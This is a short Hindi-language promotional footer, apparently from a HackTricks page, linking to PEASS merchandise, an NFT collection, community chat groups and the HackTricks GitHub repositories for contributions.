* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर **फॉलो** करें।
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में **PR जमा करके** अपने हैकिंग ट्रिक्स साझा करें।
2022-04-28 16:01:33 +00:00
</details>